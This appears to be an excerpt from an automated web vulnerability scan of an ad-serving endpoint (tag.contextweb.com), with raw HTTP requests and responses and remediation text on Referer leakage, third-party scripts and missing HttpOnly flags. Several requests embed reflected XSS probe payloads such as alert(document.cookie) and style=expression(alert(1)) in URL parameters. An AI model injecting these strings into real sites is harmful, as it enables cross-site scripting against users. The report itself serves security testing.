GET /TAGPUBLISH/getad.aspx?tagver=1&if=0&ca=VIEWAD&cp=521878&ct=70328&cf=728X90&cn=1&rq=1&fldc=0&dw=1155&cwu=http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1&mrnd=63117641 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.stltoday.com/sports/football/article_9ac6caa4-5637-5237-90a6-49dae838d3ee.html?4974b%22-alert(document.cookie)-%22ac67fb5a5e7=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; V=gFEcJzqCjXJj; cw=cw
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB20 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 2065 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:40 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Fri, 27-Jan-2012 02:05:40 GMT; path=/ Set-Cookie: 521878_728X90_70328=1/26/2011 9:05:40 PM; domain=.contextweb.com; path=/ Set-Cookie: cr=24|1|-8589049081453137876|1; domain=.contextweb.com; expires=Sun, 22-Jan-2012 02:05:40 GMT; path=/ Set-Cookie: vf=1; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
var strCreative='' + '\n' + '<script language="JavaScript">\n' + 'var zflag_nid="1174"; var zflag_cid="1"; var zflag_sid="1"; var zflag_width="728"; var zflag_height="90"; var zflag_sz="14"; var ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /TAGPUBLISH/getad.aspx?tagver=1&if=1&ca=VIEWAD&cp=526328&ct=79778&cf=728X90&cn=1&rq=1&fldc=-12&dw=728&cwu=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression%28alert%281%29%29%25225c0fc6a83d6&mrnd=69265729 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/215/journalregistercompany/728x90/middletown_press_atf?t=1296072882978&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; 521878_728X90_70328=1/26/2011 3:10:32 PM; vf=1; V=gFEcJzqCjXJj; cw=cw
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" X-Powered-By: ASP.NET CW-Server: CW-WEB24 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 2974 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Wed, 26 Jan 2011 20:14:13 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Thu, 26-Jan-2012 20:14:13 GMT; path=/ Set-Cookie: FC1-WC=^54144_1_2hYC9; domain=.contextweb.com; expires=Sat, 26-Jan-2041 20:14:13 GMT; path=/ Set-Cookie: CDSActionTracking6=ASaPOUiWcPsm|gFEcJzqCjXJj|526328|1998|6091|54144|108393|79778|4|427|3|middletownpress.com|2|8|1|0|2|1|2|TOT09|1|1|stCJdbHvpMtNcqViEwqQrHxEWkwXUKMsTK2ZnKOFzzU^|I|2hC8B|2sur3; domain=.contextweb.com; expires=Fri, 25-Feb-2011 20:14:13 GMT; path=/ Set-Cookie: cr=405|1|-8589049292320791140|1; domain=.contextweb.com; expires=Sat, 21-Jan-2012 20:14:13 GMT; path=/ Set-Cookie: vf=2; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
var strCreative='' + '<IFRAME SRC="http://ad.doubleclick.net/adi/N3941.ContextWebInc./B5198619.4;sz=728x90;pc=54144;click=http://cdslog.contextweb.com/CDSLogger/L.aspx?q=C~526328~1998~54144~108393~79 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB30 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 1313 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:22:51 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Fri, 27-Jan-2012 02:22:51 GMT; path=/ Set-Cookie: 526812_160X600_80917=1/26/2011 9:22:51 PM; domain=.contextweb.com; path=/ Set-Cookie: vf=6; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
var strCreative='' + '<script language="JavaScript"> \n' + 'var zflag_nid="1194"; var zflag_cid="2/1"; var zflag_sid="1"; var zflag_width="160"; var zflag_height="600"; var \n' + '\n' + 'zflag_ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" X-Powered-By: ASP.NET CW-Server: CW-WEB22 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 1292 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Wed, 26 Jan 2011 20:18:13 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Thu, 26-Jan-2012 20:18:13 GMT; path=/ Set-Cookie: 518336_728X90_61754=1/26/2011 3:18:13 PM; domain=.contextweb.com; path=/ Set-Cookie: vf=4; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
var strCreative='' + '<script language="JavaScript">\n' + 'var zflag_nid="1063"; var zflag_cid="3/1"; var zflag_sid="1"; var zflag_width="728"; var zflag_height="90"; var zflag_sz="14"; var zflag_$ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /TAGPUBLISH/getad.aspx?tagver=1&if=0&ca=VIEWAD&cp=526812&ct=80919&cf=728X90&cn=1&rq=1&fldc=3&dw=1155&cwu=http%3A%2F%2Fwww.dispatch.com%2Flive%2Fcontent%2Fnational_world%2Fstories%2F2011%2F01%2F26922b8%27%253balert%281%29%2F%2Fbfd9a7f1b45%2Femanuel-asks-state-high-court-to-put-him-back-on-the-ballot.html&mrnd=13597050 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.dispatch.com/live/content/national_world/stories/2011/01/26922b8'%3balert(1)//bfd9a7f1b45/emanuel-asks-state-high-court-to-put-him-back-on-the-ballot.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; FC1-WC=^54144_2_2hYC9; CDSActionTracking6=bX5NnzxFBPJH|gFEcJzqCjXJj|526328|1998|6091|54144|108392|79777|3|427|3|middletownpress.com|2|8|1|0|2|1|2|TOT09|1|1|stCJdbHvpMtNcqViEwqQrHxEWkwXUKMsTK2ZnKOFzzU^|I|2hC8H|2sur9; cr=405|2|-8589049292256662518|1; V=gFEcJzqCjXJj; vf=4; cw=cw
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB28 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 1311 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:08:16 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Fri, 27-Jan-2012 02:08:16 GMT; path=/ Set-Cookie: 526812_728X90_80919=1/26/2011 9:08:16 PM; domain=.contextweb.com; path=/ Set-Cookie: vf=5; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
var strCreative='' + '<script language="JavaScript"> \n' + 'var zflag_nid="1194"; var zflag_cid="2/1"; var zflag_sid="1"; var zflag_width="728"; var zflag_height="90"; var \n' + '\n' + 'zflag_s ...[SNIP]...
3. Cross-domain Referer leakagepreviousnext There are 10 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The response dynamically includes the following script from another domain:
http://d3.zedo.com/jsc/d3/fo.js
Request
GET /TAGPUBLISH/getad.aspx?tagver=1&if=0&ca=VIEWAD&cp=521878&ct=70328&cf=728X90&cn=1&rq=1&fldc=0&dw=1155&cwu=http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1&mrnd=63117641 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.stltoday.com/sports/football/article_9ac6caa4-5637-5237-90a6-49dae838d3ee.html?4974b%22-alert(document.cookie)-%22ac67fb5a5e7=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; V=gFEcJzqCjXJj; cw=cw
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" X-Powered-By: ASP.NET CW-Server: CW-WEB26 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 2048 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Wed, 26 Jan 2011 20:10:32 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Thu, 26-Jan-2012 20:10:32 GMT; path=/ Set-Cookie: 521878_728X90_70328=1/26/2011 3:10:32 PM; domain=.contextweb.com; path=/ Set-Cookie: vf=1; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
var strCreative='' + '\n' + '<script language="JavaScript">\n' + 'var zflag_nid="1174"; var zflag_cid="1"; var zflag_sid="1"; var zflag_width="728"; var zflag_height="90"; var zflag_sz="14"; var ...[SNIP]... </script>\n' + '<script language="JavaScript" src="http://d3.zedo.com/jsc/d3/fo.js"></script> ...[SNIP]...
5. Cookie without HttpOnly flag setpreviousnext There are 7 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /TAGPUBLISH/getad.aspx?tagver=1&if=0&ca=VIEWAD&cp=521878&ct=70328&cf=728X90&cn=1&rq=1&fldc=0&dw=1155&cwu=http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1&mrnd=63117641 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.stltoday.com/sports/football/article_9ac6caa4-5637-5237-90a6-49dae838d3ee.html?4974b%22-alert(document.cookie)-%22ac67fb5a5e7=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; V=gFEcJzqCjXJj; cw=cw
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB20 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 2065 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:40 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Fri, 27-Jan-2012 02:05:40 GMT; path=/ Set-Cookie: 521878_728X90_70328=1/26/2011 9:05:40 PM; domain=.contextweb.com; path=/ Set-Cookie: cr=24|1|-8589049081453137876|1; domain=.contextweb.com; expires=Sun, 22-Jan-2012 02:05:40 GMT; path=/ Set-Cookie: vf=1; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
var strCreative='' + '\n' + '<script language="JavaScript">\n' + 'var zflag_nid="1174"; var zflag_cid="1"; var zflag_sid="1"; var zflag_width="728"; var zflag_height="90"; var zflag_sz="14"; var ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB30 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 1313 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:22:51 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Fri, 27-Jan-2012 02:22:51 GMT; path=/ Set-Cookie: 526812_160X600_80917=1/26/2011 9:22:51 PM; domain=.contextweb.com; path=/ Set-Cookie: vf=6; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
var strCreative='' + '<script language="JavaScript"> \n' + 'var zflag_nid="1194"; var zflag_cid="2/1"; var zflag_sid="1"; var zflag_width="160"; var zflag_height="600"; var \n' + '\n' + 'zflag_ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /TAGPUBLISH/getad.aspx?tagver=1&if=1&ca=VIEWAD&cp=526328&ct=79778&cf=728X90&cn=1&rq=1&fldc=-12&dw=728&cwu=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression%28alert%281%29%29%25225c0fc6a83d6&mrnd=69265729 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/215/journalregistercompany/728x90/middletown_press_atf?t=1296072882978&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; 521878_728X90_70328=1/26/2011 3:10:32 PM; vf=1; V=gFEcJzqCjXJj; cw=cw
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" X-Powered-By: ASP.NET CW-Server: CW-WEB24 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 2974 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Wed, 26 Jan 2011 20:14:13 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Thu, 26-Jan-2012 20:14:13 GMT; path=/ Set-Cookie: FC1-WC=^54144_1_2hYC9; domain=.contextweb.com; expires=Sat, 26-Jan-2041 20:14:13 GMT; path=/ Set-Cookie: CDSActionTracking6=ASaPOUiWcPsm|gFEcJzqCjXJj|526328|1998|6091|54144|108393|79778|4|427|3|middletownpress.com|2|8|1|0|2|1|2|TOT09|1|1|stCJdbHvpMtNcqViEwqQrHxEWkwXUKMsTK2ZnKOFzzU^|I|2hC8B|2sur3; domain=.contextweb.com; expires=Fri, 25-Feb-2011 20:14:13 GMT; path=/ Set-Cookie: cr=405|1|-8589049292320791140|1; domain=.contextweb.com; expires=Sat, 21-Jan-2012 20:14:13 GMT; path=/ Set-Cookie: vf=2; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
var strCreative='' + '<IFRAME SRC="http://ad.doubleclick.net/adi/N3941.ContextWebInc./B5198619.4;sz=728x90;pc=54144;click=http://cdslog.contextweb.com/CDSLogger/L.aspx?q=C~526328~1998~54144~108393~79 ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /TAGPUBLISH/getad.aspx?tagver=1&if=0&ca=VIEWAD&cp=526812&ct=80919&cf=728X90&cn=1&rq=1&fldc=3&dw=1155&cwu=http%3A%2F%2Fwww.dispatch.com%2Flive%2Fcontent%2Fnational_world%2Fstories%2F2011%2F01%2F26922b8%27%253balert%281%29%2F%2Fbfd9a7f1b45%2Femanuel-asks-state-high-court-to-put-him-back-on-the-ballot.html&mrnd=13597050 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.dispatch.com/live/content/national_world/stories/2011/01/26922b8'%3balert(1)//bfd9a7f1b45/emanuel-asks-state-high-court-to-put-him-back-on-the-ballot.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; FC1-WC=^54144_2_2hYC9; CDSActionTracking6=bX5NnzxFBPJH|gFEcJzqCjXJj|526328|1998|6091|54144|108392|79777|3|427|3|middletownpress.com|2|8|1|0|2|1|2|TOT09|1|1|stCJdbHvpMtNcqViEwqQrHxEWkwXUKMsTK2ZnKOFzzU^|I|2hC8H|2sur9; cr=405|2|-8589049292256662518|1; V=gFEcJzqCjXJj; vf=4; cw=cw
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB28 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 1311 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:08:16 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Fri, 27-Jan-2012 02:08:16 GMT; path=/ Set-Cookie: 526812_728X90_80919=1/26/2011 9:08:16 PM; domain=.contextweb.com; path=/ Set-Cookie: vf=5; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
var strCreative='' + '<script language="JavaScript"> \n' + 'var zflag_nid="1194"; var zflag_cid="2/1"; var zflag_sid="1"; var zflag_width="728"; var zflag_height="90"; var \n' + '\n' + 'zflag_s ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /TAGPUBLISH/getad.aspx?tagver=1&if=1&ca=VIEWAD&cp=526328&ct=79778&cf=728X90&cn=1&rq=1&fldc=-12&dw=728&cwu=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression%28alert%281%29%29%25225c0fc6a83d6&mrnd=69265729 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/215/journalregistercompany/728x90/middletown_press_atf?t=1296072882978&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; 521878_728X90_70328=1/26/2011 3:10:32 PM; vf=1; V=gFEcJzqCjXJj; cw=cw
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB28 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 1133 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:45 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Fri, 27-Jan-2012 02:05:45 GMT; path=/ Set-Cookie: 526328_728X90_79778=1/26/2011 9:05:46 PM; domain=.contextweb.com; path=/ Set-Cookie: cr=405|1|-8589049081396201985|1; domain=.contextweb.com; expires=Sun, 22-Jan-2012 02:05:46 GMT; path=/ Set-Cookie: vf=2; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" X-Powered-By: ASP.NET CW-Server: CW-WEB22 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 1292 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Wed, 26 Jan 2011 20:18:13 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Thu, 26-Jan-2012 20:18:13 GMT; path=/ Set-Cookie: 518336_728X90_61754=1/26/2011 3:18:13 PM; domain=.contextweb.com; path=/ Set-Cookie: vf=4; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
var strCreative='' + '<script language="JavaScript">\n' + 'var zflag_nid="1063"; var zflag_cid="3/1"; var zflag_sid="1"; var zflag_width="728"; var zflag_height="90"; var zflag_sz="14"; var zflag_$ ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
